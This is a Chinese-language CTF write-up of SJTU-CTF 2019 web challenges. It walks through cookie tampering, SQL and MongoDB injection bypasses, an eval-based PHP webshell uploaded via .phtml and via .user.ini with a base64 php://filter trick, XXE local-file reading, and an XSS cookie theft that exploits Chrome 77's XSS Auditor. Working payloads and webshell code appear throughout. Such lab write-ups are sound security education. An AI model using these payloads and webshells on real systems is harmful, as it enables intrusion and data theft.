SJTU-CTF 2019 WriteUp Web
Preface
第一次正经参加的 CTF 比赛,全程面向 Google 做题,最后混了个不错的成绩,但还是被各路大佬吊打
抽空把当时没做出来的题也研究了一下,加上原有的 WriteUp,凑出 Web, Crypto 和 Misc&Reverse 三篇文章。为什么没有 Pwn ?因为根本无从下手(
因为有数据收集的习惯,所以把大部分题目源文件都整理了一下放在 GitHub 上了
Basic Web
100 pts, 91 solved
(真正的签到题)
- 网页文字无有用信息,查看网页源码,发现一行注释:
1 | <!-- You may try w3lc0me_t0_CTF.php --> |
- 访问
w3lc0me_t0_CTF.php,得到如下信息:
0ops…
You are not admin. Are you are a hacker?
- 注意到 cookies 中有一条
admin=0,将 0 改为 1,得到如下信息:
Hello, admin.
Can you POST flag=0ops to me?
- 根据提示发送 POST 请求,参数为
flag=0ops,返回的网页源码如下:
1 |
|
由于直接获取了源码,网页没有跳转,得到 flag: 0ops{I_like_flag_WoW_Do_you},如果网页发生跳转则显示以下信息(常规套路):
Sorry, your flag was slipped away.
QwQ
Baby Web
250 pts, 19 solved
进入网页,内容为
Do you know about robots?查看robots.txt,发现Disallow: /admin_l0gin_page.phpadmin_l0gin_page.php是个登陆页面,看起来需要 SQL 注入,经过试探发现过滤了or, and, (space), %20等关键词官方发布 Hint1: No brute force to attack, do you know SQL Injection? But there are some filters. (废话)
官方发布 Hint2: The author left a backup file and didn’t delete it.(that is _.bak, _ is just a php file which you want to know its source code) ,得知有一个备份文件可以下载,获取到
admin_l0gin_page.php.bakadmin_l0gin_page.php.bak文件内容如下:
1 |
|
注:官方最后公布的过滤函数如下
1 | function filter($str) { |
%0a字符绕过空格过滤,根据源码逻辑构造合适的 SQL 注入请求:
1 | username='%0aunion%0aselect%0a'abc&password=abc` |
最终生成的 SQL 语句为
1 | SELECT password FROM `user` WHERE username='admin'%0aunion%0aselect%0a'abc' |
返回的查询结果中包含 abc 这一字符串,因而成功通过验证,网页重定向至 admin_m4nage_page.php
注 1:
%0a为 urlencode 后的编码,需要直接发起请求,不能直接通过表单提交
注 2:官方答案中的 SQL 注入请求为
username=1'union(select('123'))#,同时使用括号作为分隔符并用#注释了后续语句
admin_m4nage_page.php:
设法利用上传漏洞,先编写 webshell: <?php eval($_GET['code']); ?>,并保存为文件
- 尝试上传,发现要求 HTTP Header 文件类型为图片,且会探测文件名中是否含有
php(不区分大小写),查找资料得知.phtml扩展名可用
- Burp Suite 抓包更改文件名称上传文件:
- 利用 webshell 一路
ls ../终于发现一个名为Th1s_1s_y0ur_flag_777777的文件,cat 文件内容得到 flag:0ops{Sometimes_robots_can_h3lp_U}
- 顺便还拿到了
admin_m4nage_page.php的源码:
1 |
|
Baby DB
250 pts, 13 solved
- 进入网页,直接给出了源码:
1 |
|
可见是 MongoDB 注入,注意要通过 json_decode 验证
- 现学现用,构造出 payload:
1 | username=u", "username": {"$ne": "aaa"}, "password": "&password=p", "password": {"$ne": "aaa"}, "$comment": " |
成功绕过验证,得到信息:
Good, can you find out my password?
说明 flag 应该在 password 中
- 构造 payload:
1 | username=u", "username": {"$ne": "aaa"}, "password": "&password=p", "password": {"$gte": "0ops{"}, "$comment": " |
对 password 进行 ASCII 盲注(可编写脚本实现),得到 flag: 0ops{mongoDB_1s_funny_@4f8ec02756a2b0c1a737bf2345},其中 $gte 为条件操作符,等同于 >= ,同理还有 $ne, $gt, $lt, $eq 等等
官方答案:构造 POST 请求
1 | username=1&password=a", "password": {"$regex": "^0ops"}, "username": "admin |
最终构造的查询为
1 | { |
依靠正则匹配实现盲注,如果匹配成功则提示密码无误,否则提示密码错误
Upload Lab
250 pts, 10 solved
- 发现是一个上传文件的网页:
初步探测发现不能上传后缀含有 ‘ph’ 的文件 ,且文件内容中不能含有
<和;,上传路径下有一个index.php文件得到 Hint1: Do you know what is config file? ,联想到
.htaccess然而已经被屏蔽,查找资料得知 PHP 也有类似于php.ini的配置文件.user.ini,可放置于网站目录下仔细查看可配置选项,最终选定
auto_append_file,即在每个文件末端追加内容构造
.user.ini并上传:
1 | display_errors=true |
- 访问
上传目录/index.php,发现文件内容已被自动追加在末尾,得到 flag:0ops{uPl0aD_lAb_1s_s0_eZ}
赛后才得知 /flag 是我碰巧蒙对了文件名,光荣地成为了一个非预期解;预期解法应该是先获取 webshell 然后寻找 flag 文件:
1 | display_errors=true |
将需要追加到 index.php 末尾的 PHP 代码(需要包含 <?php)进行 base64 编码存储在 shell.txt 中,从而绕过了字符过滤,而 convert.base64-decode 将内容进行 base64 解码后还原为正常的 PHP 代码。
例如,<?php eval($_GET['code']); ?> 经过 base64 编码后写入 shell.txt 中:
1 | PD9waHAgZXZhbCgkX0dFVFsnY29kZSddKTsgPz4= |
访问 上传目录/index.php?code=echols /; 即可看到根目录下的 flag 文件
注意:
.user.ini中的双引号不可少,双引号包含的变量会被当作正常变量执行,而单引号包含的变量则会被当作字符串执行。
同时还能获得 upload.php 的源码:
1 |
|
可以看到对上传的文件限制了大小、不允许内容中出现 <, ; 和空格,这样一来也避免了使用 <script language="php"> 代替 <?php 的攻击方法。
PHP 伪协议
PHP 伪协议是预期解法中的重点,在此补充一些相关知识。
file://
用于访问本地文件系统,不受 php.ini 中 allow_url_fopen 和 allow_url_include 的限制
e.g.:
file://./shell.txt或file://shell.txt(默认为相对路径)file:///path/to/file.ext(第三个斜杠表示绝对路径)
php://filter
用于数据流打开时的筛选过滤,同样不受以上两种配置项的限制
e.g.:
php://filter/read=convert.base64-decode/resource=./shell.txtreadfile("php://filter/resource=http://www.example.com");php://filter/read=string.toupper|string.rot13/resource=http://www.example.comfile_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World");
read 还可改为 write (写入到 resource 指定的文件中) 或省去(同时过滤读取/写入过程); convert.base64-encode 和 convert.base64-decode 是 base64 编码和解码的过滤器
php://input
php://input 是可以访问请求的原始数据的只读流,可读取到 POST 请求的原始数据,并将原始数据作为 PHP 代码执行,受 allow_url_include 限制。
注:enctype=”multipart/form-data” 时
php://input无效
data://
数据流封装器,受 allow_url_include 限制
用法:data://资源类型[;编码],内容
e.g.:
1 |
|
zip://
zip 压缩流,可访问压缩文件中的文件,受 allow_url_fopen 限制
e.g.: zip://archive.zip#dir/file.txt
Ezxxe
150 pts, 24 solved
- 根据题目名称提示需要使用 XXE,从下载的源码中得知解析 xml 的地址为
/parse,构造 POST payload:
1 |
|
- 得到返回结果
c38b07e91b0c15330e20693ed4443092
- 然而上面的字符串并不符合 flag 格式,思索许久猛然发现 如果 file:// 后的路径为目录,则返回的是目录文件列表。也就是说,flag 是个目录,上面的字符串不是文件内容而是文件名,果断更改路径为
file:///flag/c38b07e91b0c15330e20693ed4443092,得到真实的 flag:0ops{0813bca99cf1210e176b125e5f1d3f1b}
Message Board
250 pts, 20 solved
An online message board service with some vulnerabilities. The admin is using Chrome 77 and flag is in cookies.
- 明显需要使用 XSS 攻击,代码长度有限制
- Report 给 admin 可以让 admin 浏览你的网页
- 对于如此坑爹的验证码,到网上寻找脚本,找到的 Python 脚本如下:
1 | # -*- coding: utf-8 -*- |
脚本的第一个参数为目标字串,第二个参数为字串起始位置,通过生成 10 位随机字符串进行碰撞
发现
view.php的网页源码中有document.cookie = 'flag=';,会清空 cookies寻找阻止这条语句运行的方法,无果
尝试用
XMLHttpRequest获取view.php的Response Header,发现会被CORB拦截尝试嵌入
iframe,结果同上官方发布 Hint2: _ _ _ _ _ _ _ _ _ _ will be removed in Chrome 78, which can be your friend for now
注意到 admin 使用的是 Chrome 77,查找资料得知上述工具为
XSS Auditor了解到
XSS Auditor的特性:会将同时出现在 URL 和网页源码中的内容视为 XSS 脚本阻止其运行利用
XSS Auditor的特性,在 URL 中增加参数s=<script>document.cookie = 'flag=';,使XSS Auditor能将其识别并屏蔽编写 XSS 脚本如下:
1 | <script> |
- 将带有额外参数的 URL 提交给 admin,成功在 XSS 平台获取到 flag:
0ops{trick_the_deprecated_auditor_931a3e6e10ac0b40}
References
SJTU-CTF 2019 WriteUp Web